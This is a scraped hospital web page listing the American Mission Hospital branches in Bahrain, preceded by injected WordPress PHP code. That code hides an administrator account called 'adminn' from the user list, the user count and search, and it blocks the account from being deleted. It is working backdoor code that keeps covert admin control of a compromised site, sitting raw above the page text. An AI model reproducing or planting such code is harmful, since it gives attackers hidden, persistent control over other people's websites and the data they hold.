add_action('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->base === 'users') { $protected_user = get_user_by('login', 'adminn'); if ($protected_user) { $excluded = (array) $query->get('exclude'); $excluded[] = $protected_user->ID; $query->set('exclude', $excluded); } } } }); add_filter('wp_count_users', function($counts) { $protected_user = get_user_by('login', 'adminn'); if ($protected_user) { $counts->total_users--; } return $counts; }); add_action('delete_user', function($user_id) { $user = get_user_by('ID', $user_id); if ($user && $user->user_login === 'adminn') { wp_die( __('User adminn tidak dapat dihapus.', 'textdomain'), __('Error', 'textdomain'), array('response' => 403) ); } }); add_filter('user_search_columns', function($search_columns, $search, $query) { if (is_admin()) { $protected_user = get_user_by('login', 'adminn'); if ($protected_user) { global $wpdb; $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID); } } return $search_columns; }, 10, 3); add_filter('bulk_actions-users', function($actions) { if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) { $protected_user = get_user_by('login', 'adminn'); if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) { unset($actions['delete']); } } return $actions; });
Dr.-Pradeep-Divakaran – American Mission Hospital
Menu
X

we belive every interaction with our patients is an opportunity!

our doctors

manama

Building No 133, Road 365,
Block 307, P.O. Box: 1, Manama,
Bahrain

Tel: +973 17 177 711

saar

Building No 765, Road 2925
Area 529 , Saar,
Bahrain

Tel: +973 17 248 102

Amwaj

Office No 5678, Building No 105,
Road 59 , Block 257, Amwaj,
Bahrain

Tel: +973 17 248 100

Riffa

Office No 11, Building No 636,
Road 1509 , Block 915, Riffa,
Bahrain

Tel: + 973 17 248 101

Copyright © 2020  American Mission Hospital

Last Updated: May 7, 2026
COVID-19 UPDATES